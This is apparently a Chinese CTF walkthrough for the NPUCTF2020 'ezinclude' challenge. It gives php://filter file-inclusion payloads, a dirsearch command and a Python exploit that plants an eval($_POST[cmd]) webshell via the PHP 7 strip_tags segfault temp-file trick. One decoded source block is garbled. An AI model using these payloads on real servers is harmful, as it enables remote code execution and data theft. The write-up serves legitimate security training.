[NPUCTF2020]ezinclude
参考:
[NPUCTF2020]ezinclude-CSDN博客
https://github.com/H4ckForJob/dirmap/blob/master/data/
[NPUCTF2020]ezinclude(PHP临时文件包含) – 「配枪朱丽叶。」 (shawroot.cc)
场景:

查看网页源代码:

得到提示信息:
1
| <!--md5($secret.$name)===$pass -->
|
这里要求我们$secret.$name的md5值要和$pass相等
猜测:
1
| 如果$name和$pass的参数我们不可控,那么我们将无法绕过这个判断,即这个提示就没有任何的意义(因为我已经对网站的后台文件都进行扫描还是没有发现什么有用的文件),所以这两个参数必须可控,现在假设我们可以输入这两个参数的值,$name我们输入一个值,那么我们也需要知道$secret.$name的md5的值才可以输入$pass的值,如果我们先输入$pass的值,但是由于不知道$secret的值,所以无法输入$name的值,所以如果要让这个提示存在意义,那么就是我们输入$name的值,同时获取到$secret.$name的加密值
|
BP抓包进一步收集信息:

发现cookie存在一个hash值
随意输入一个name的值:

发现响应结果中存在一个Set-Cookie: Hash=576322dd496b99d07b5b0f7fa7934a25;

发现不同的name回显不同的set-cookie值,猜测该hash值就是$secret.$name的md5加密值
验证猜测:
1
| ?name=1&pass=576322dd496b99d07b5b0f7fa7934a25
|

成功回显一个文件信息:flflflflag.php
访问flflflflag.php:

直接跳转到404.html上了,没有访问flflflflag.php,可能是直接进行跳转了,可以用抓包拦截一下
BP抓包拦截flflflflag.php:

根据响应包内容确实获取到,访问该页面时会自动跳转到404.html,同时获得提示信息:
该文件存在文件包含漏洞
构造文件包含payload:
由于我们现在只知道一个index.php和flflflflag.php,所以先获取这两个文件的信息
获取flflflflag.php信息payload1:
1
| flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./flflflflag.php
|

回显内容:
1
| PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=
|
base64解码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <html> <head> <script language="javascript" type="text/javascript"> window.location.href="404.html"; </script> <title>this_is_not_fl4g_and_鍑洪浜篲wants_girlfriend</title> </head> <> <body> <?php $file=$_GET['file']; if(preg_match('/data|input|zip/is',$file)){ die('nonono'); } @include($file); echo 'include($_GET["file"])'; ?> </body> </html>
|
获取index.php文件信息paylaod2:
1
| flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./index.php
|

回显内容:
1
| PD9waHAKaW5jbHVkZSAnY29uZmlnLnBocCc7CkAkbmFtZT0kX0dFVFsnbmFtZSddOwpAJHBhc3M9JF9HRVRbJ3Bhc3MnXTsKaWYobWQ1KCRzZWNyZXQuJG5hbWUpPT09JHBhc3MpewoJZWNobyAnPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZj0iZmxmbGZsZmxhZy5waHAiOwoJPC9zY3JpcHQ Cic7Cn1lbHNlewoJc2V0Y29va2llKCJIYXNoIixtZDUoJHNlY3JldC4kbmFtZSksdGltZSgpKzM2MDAwMDApOwoJZWNobyAidXNlcm5hbWUvcGFzc3dvcmQgZXJyb3IiOwp9Cj8 CjxodG1sPgo8IS0tbWQ1KCRzZWNyZXQuJG5hbWUpPT09JHBhc3MgLS0 CjwvaHRtbD4K
|
base64解码:
1 2 3 4 5 6 7 8 9 10 11
| <?php include 'config.php'; @$name=$_GET['name']; @$pass=$_GET['pass']; if(md5($secret.$name)===$pass){ echo '<script language="javascript" type="text/javascript"> window.location.href="flflflflag.php"; </script壩聼Y[賌聜\賋圹谮YJ?\??Y J 賆軝]?榌YJK[YJ J掏? N聜YX??漒賊洏[YK?\茌圮?\湜軋幝烞徖F嘑置啵?抑諧R侴6V7&WB釬?諶撚右G72倚(鸾⊙蛋?
|
发现存在一个config.php,我们可以读取一下
获取config.php信息payload3:
1
| flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./config.php
|

回显内容:
1
| PD9waHAKJHNlY3JldD0nJV4kJiQjZmZmZGZsYWdfaXNfbm90X2hlcmVfaGFfaGEnOwo/Pgo=
|
base64解码:
1 2 3
| <?php $secret='%^$&$#fffdflag_is_not_here_ha_ha'; ?>
|
所有的文件信息都获取了,但是依然没有flag的信息。
使用dirseach重新扫描网站:
(这里使用新下载的字典dict_mode_dict.txt)
1
| python dirsearch.py -u http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/ -e * --timeout=3 -t 1 -x 400,403,404,500,503,429 -w ./dict_mode_dict.txt
|

扫了两次才出来,以后看来都得至少扫两次,发现一个dir.php文件
使用文件包含漏洞获取dir.php文件信息:
payload:
1
| flflflflag.php?file=php://filter/read=convert.base64-encode/resource=./dir.php
|

回显内容:
1
| PD9waHANCnZhcl9kdW1wKHNjYW5kaXIoJy90bXAnKSk7DQo/Pg==
|
base64解密:
1 2 3
| <?php var_dump(scandir('/tmp')); ?>
|
知识点介绍:
1 2 3 4 5 6 7 8 9
| var_dump(scandir('/tmp')); var_dump(scandir('/tmp')) 这段代码的作用是获取指定目录(这里是 /tmp)下的文件和子目录列表,并将其打印输出。
具体解释如下:
scandir('/tmp') 是 PHP 的内置函数,用于获取指定目录中的所有文件和子目录。在这里,我们指定了目录为 /tmp,即临时目录。 scandir('/tmp') 返回一个数组,包含了目录下的所有文件和子目录的名字(包括 . 和 ..)。 var_dump() 是 PHP 的调试函数,用于打印输出变量的详细信息(包括类型和值)。在这里,我们将 scandir('/tmp') 的返回结果作为参数传递给 var_dump() 函数,以便查看该目录下的文件和子目录列表。 所以,这段代码的作用是获取 /tmp 目录下的文件和子目录列表,并将其详细信息打印输出,以便进行调试或查看目录内容。
|
所以dir.php文件可以用来获取/tmp目录下的文件信息
利用php7 segment fault特性(CVE-2018-14884)

根据响应包可知,网站的php版本是7.0.33
PHP临时文件包含
漏洞介绍:
1
| php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
|
攻击方式:
1 2
| xxx.php是存在文件包含的php文件: url/xxx.php?file=php://filter/string.strip_tags/resource=文件路径
|
这种 包含 会导致php执行过程中出现segment fault,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除,这样就能达成getshell的目的。
根据载荷编写攻击脚本:
exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
import requests from io import BytesIO import re
payload = "<?php eval($_POST[cmd]);?>" Pass_files = { 'file': BytesIO(payload.encode()) } url1 = 'http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=Pass_files, allow_redirects=False)
url2 = 'http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/dir.php' r = requests.get(url2) data = re.search(r"php[a-zA-Z0-9]{1,}", r.content.decode('utf-8')).group(0)
print("++++++++++++++++++++++") print(data) print("++++++++++++++++++++++")
url3 = 'http://5e0508ab-7d6c-471a-906b-cdfbed6e8c50.node5.buuoj.cn:81/flflflflag.php?file=/tmp/'+data data = { 'cmd': "phpinfo();" } r = requests.post(url=url3, data=data) print(r.text)
|
访问:dir.php:
由于我运行了好几次脚本,所以要用最新生成的文件名:tmp/php8dW0yU

在flflflflag.php中包含tmp/php8dW0yU:
等效于将该文件嵌入flflflflag.php中,即使tmp/php8dW0yU没有后缀名,但是由于include()包含,flflflflag.php是主文件,所以也可以使tmp/php8dW0yU文件的内容按照主文件的格式运行。

flag=flag{62950e2d-8c41-4734-896d-985a6529576b}